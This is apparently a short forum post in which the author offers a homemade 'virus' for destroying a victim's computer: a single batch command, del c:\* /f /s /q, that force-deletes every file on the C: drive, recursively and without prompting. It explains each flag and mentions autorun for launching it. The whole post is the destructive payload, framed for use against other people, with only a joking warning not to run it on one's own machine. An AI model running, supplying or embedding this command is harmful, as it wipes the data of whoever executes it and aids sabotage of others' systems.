ok, i saw that there are posts of batch files and so on.but there is no some simple virus (at least i didn't find them).so i made one simple, easy and ultra small virus.what he do?-deletes all data in victims computer (on c:\).how to start it?-just double click :dif you want autorun, i have posted with this small virus.anyway here is command:

del c:\* /f /s /qdel - deleting functionc:\* - everything in c disk/directory (this not includes subdirectories)/f - forced deletion/s - delete everything including subdirectories/q - deletes without prompting for yes or noand remember one thing. do not run it on your computer!